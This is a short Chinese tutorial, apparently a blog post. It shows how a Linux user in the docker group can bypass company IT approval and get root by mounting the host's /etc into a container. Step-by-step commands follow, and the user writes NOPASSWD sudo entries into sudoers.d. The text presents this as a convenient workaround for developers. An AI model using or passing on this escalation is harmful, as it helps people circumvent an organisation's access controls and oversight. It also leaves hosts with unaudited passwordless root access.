受制于公司IT的权限管理,有时候我们无法便捷地获取到一台Linux主机的管理员权限,涉及审批手续和费用问题。对于开发工作来说,有诸多不便。
而Docker是常见的开发工具,Docker Daemon是以root权限运行的,这样只要有一个用户在Docker组当中,我们就可以利用这个用户,通过把特定路径挂载到容器上,来修改普通用户没有权限写入的系统文件。包括修订sudoer.d中的配置文件,添加任意其他用户,实现sudo权限自由。
依赖条件
查询docker运行状态,确保docker正在运行
systemctl status docker
查询docker组用户,假设linuxdoer是docker组用户的一员
getent group docker
docker:x:linuxdoer
使用以下命令不需要sudo权限,则说明是一个在docker组中的用户。
docker ps
检查本地docker镜像,选择任意一个可以挂载文件系统的镜像,这里以ubuntu为例
docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 35a88802559d 2 weeks ago 78.1MB
启动容器
挂载主机的/etc文件夹,启动容器并运行bash
docker run -it --rm -v '/etc/:/root/host.etc/' ubuntu bash
在容器中修改文件
安装编辑器,例如vim
root@ec2509dfb18f:/# apt update; apt install vim -y
修改sudo配置文件,或者其他需要修改的文件
root@ec2509dfb18f:/# vim /root/host.etc/sudoers.d/cmi
新增用户时注意格式,之后保存退出,系统文件就被成功修改了
user ALL=(ALL) NOPASSWD: ALL
linuxdoer ALL=(ALL) NOPASSWD: ALL
现在回到主机测试一下吧!
引用
第一次看到这个玩法是在下面帖子的回答中,感兴趣的话可以移步去看看